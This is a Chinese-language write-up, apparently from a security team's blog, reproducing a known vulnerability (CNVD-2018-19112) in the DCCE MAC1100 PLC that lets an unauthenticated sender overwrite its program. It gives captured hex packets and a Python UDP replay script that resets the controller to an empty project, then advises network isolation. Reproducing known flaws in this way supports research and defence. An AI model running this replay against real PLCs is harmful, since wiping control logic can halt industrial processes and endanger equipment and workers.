前言
MAC1100 PLC可编程逻辑控制器(PLC)是大连计控(DCCE)可编程逻辑控制器(PLC)系列中的一款产品。
早在2018年6月,CNVD官网通报了DCCE MAC1100 PLC存在任意程序覆盖漏洞
,其编号为CNVD-2018-19112。DCCE MAC1100 PLC存在任意程序覆盖漏洞,漏洞源于MAC1100 PLC可编程逻辑控制器向PLC下载程序时未验证相关权限,攻击者可通过远程下载程序的数据包,利用漏洞覆盖任意程序。
通过对DCCE PLC的学习,成功复现了此漏洞,笔者将其记录下来以供大家学习与交流~
一、PLC编程与工程
PLC编程是一种数字运算操作的电子系统,专为在工业环境下应用而设计。它采用可编程序的存储器,用来在其内部存储执行逻辑运算、顺序控制、定时、计数和算术运算等操作的指令,并通过数字式、模拟式的输入和输出,控制各种类型的机械或生产过程。可编程序控制器及其有关设备,都应按易于使工业控制系统形成一个整体,易于扩充其功能的原则设计。
简言之,对于PLC工程可以理解为:PLC在程序执行阶段按用户程序指令存放的先后顺序扫描执行每条指令,经相应的运算和处理后,其结果再写入输出状态寄存器中,输出状态寄存器中所有的内容随着程序的执行而改变。
编写PLC工程所用语言大概有五种,分别是梯形图语言、指令表语言、功能模块图语言、顺序功能流程图语言和结构文本化语言。
二、漏洞复现
2.1 环境需求
此次实验笔者用到了Mac 1100PLC、PLC_Config编程软件、PLC工程示例等。
2.2 复现过程
1、下载一个空程序并获取其数据包
首先下载一个空的PLC工程到PLC,并将该下载过程进行Wireshark抓包,其目的是获取PLC下载空工程的流量进行重放。
声明:为了减少PC机与PLC之间数据包的交互,用户可以在下载程序时根据需求进行网络注释、子程序指令注释、带符号变量的下载。
通过上述Wireshark抓取到的数据包,可以看到MAIN关键字,即一个PLC工程/空工程的入口函数,与C语言编程类似。
PLC工程下载流程
(1)将PLC控制器切换为STOP状态;
(2)清空PLC原有工程;
(3)写入新下载的工程;
(4)重启PLC CPU的状态为RUN;
(5)将编程软件切换为监视模式;
2、下载正常工作的PLC程序至PLC
为了复现此实验,需要下载一段正常工作的PLC工程到PLC中,而Dcce Mac 1100的编程软件PLC_Config支持S7-200工程的导入。因此,这里直接在CSDN下载了S7-200的工程示例(以剪板机控制工程为例),下载的s7-200工程为.mwp格式,此处需要用到“STEP-7MicroWIN V4.0 SP9完整版”软件将.mwp导出为PLC_Config支持的.awl格式。
STEP-7MicroWIN V4.0 SP9完整版下载链接:https://pan.baidu.com/s/1eaeIxyT3Ak1gSxCwYCsaGg 密码:w41o
直接将导入的s7-200工程下载至Dcce Mac 1100 PLC
3、实现DCCE MAC1100 PLC存在任意程序覆盖
首先要对第一步过程中获取的数据流量进行提炼与整理,我们将Wireshark获取到的数据包的Data段进行Hex Stream的复制,得到以下数据流:
0d008248120023006b00f82a010000000000
0d0066a312002400f82af82a020000000000
0d00658511002500f82a6b008100000000
0d00167a140026006b00fb2a0100000003000000
0d006b0914002700fb2a26270000000000005e00
00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00
以上流量可以采用通讯猫调试助手工具进行单条重放,可以达到任意程序覆盖的目的。
通讯猫调试助手工具下载 https://pan.baidu.com/s/1vAUXJZl-gpdEm8n5ga91gw 密码:28ks
也可以编写重置工程脚本,代码如下:
#!/usr/bin/env python
#encoding:utf-8
import socket,binascii,time
sendsocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
ip = "192.168.1.181"
port = 11000
sendsocket.connect((ip,port))
# sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500002c0e18000080110000c0a801c8c0a801b5ce3e2af8001884f70c00e64f1000080000009f0000000000'))
# time.sleep(2)
sendsocket.send(binascii.unhexlify('0d008248120023006b00f82a010000000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d0066a312002400f82af82a020000000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d00658511002500f82a6b008100000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d00167a140026006b00fb2a0100000003000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d006b0914002700fb2a26270000000000005e00'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00'))
print "PLC工程已重置!"
运行脚本后再次上载PLC工程,发现第二步中下载的剪板机控制工程已重置为空,如图:
三、总结
笔者在CNVD 工控漏洞专栏查询了DCCE PLC的相关漏洞,总结出该产品绝大多数漏洞都是源于PLC的非授权访问。根据工控安全的相关学习经验来看不光是DCCE PLC存在此类问题,其他品牌的产品西门子、施耐德等也都存在类似漏洞,包括目前主流的工控协议也都存在类似漏洞。
因此,用户在工控环境中使用PLC设备时,尽量做到网络的物理隔离、逻辑隔离,不必要时禁止PLC设置直接暴露在互联网中,以免对工业企业造成巨大攻击与损失。
原文始发于微信公众号(Tide安全团队):【工控安全】从0~1学习PLC攻击